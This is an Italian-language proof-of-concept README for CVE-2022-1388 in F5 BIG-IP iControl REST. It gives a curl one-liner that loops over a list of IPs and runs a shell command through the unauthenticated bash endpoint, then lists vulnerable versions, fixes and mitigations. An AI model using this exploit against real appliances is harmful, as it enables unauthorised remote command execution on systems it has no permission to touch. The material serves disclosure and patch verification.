Vulnerabilità BIG-IP iControl REST CVE-2022-1388 PoC

Questa vulnerabilità potrebbe consentire a un attaccante non autenticato con accesso di rete al sistema BIG-IP tramite la porta di gestione e/o gli indirizzi self IP di eseguire comandi di sistema arbitrari, creare o eliminare file o disabilitare servizi

PoC

Puoi usare il seguente comando curl one-liner per verificare la vulnerabilità F5 Big-IP oppure usare lo script Python fornito.

cat ips.txt | while read ip; do curl -su admin -H "Content-Type: application/json" http://$ip/mgmt/tm/util/bash -d '{"command":"run","utilCmdArgs":"-c id"}';done

Versioni vulnerabili (Big-IP)

Branch	Versioni vulnerabili	Correzioni introdotte
11.x	11.6.1-11.6.5	Nessuna correzione
12.x	12.1.0-12.1.6	Nessuna correzione
13.x	13.1.0-13.1.4	13.1.5
14.x	14.1.0-14.1.4	14.1.4.6
15.x	15.1.0-15.1.5	15.1.5.1
16.x	16.1.0-16.1.2	16.1.2.2
17.x	Nessuna	17.0.0

Mitigazione

• Esegui l'upgrade alla versione corretta indicata nella colonna ```Correzioni introdotte```. (Metodo preferito)
• Blocca l'accesso a iControl REST attraverso l'indirizzo self IP
• Blocca l'accesso a iControl REST attraverso l'interfaccia di gestione
• Modifica la configurazione httpd di BIG-IP

Per maggiori informazioni sulla mitigazione, consulta i riferimenti.

Riferimenti

• https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-1388
• https://support.f5.com/csp/article/K23605346
• https://github.com/ZephrFish/F5-CVE-2022-1388-Exploit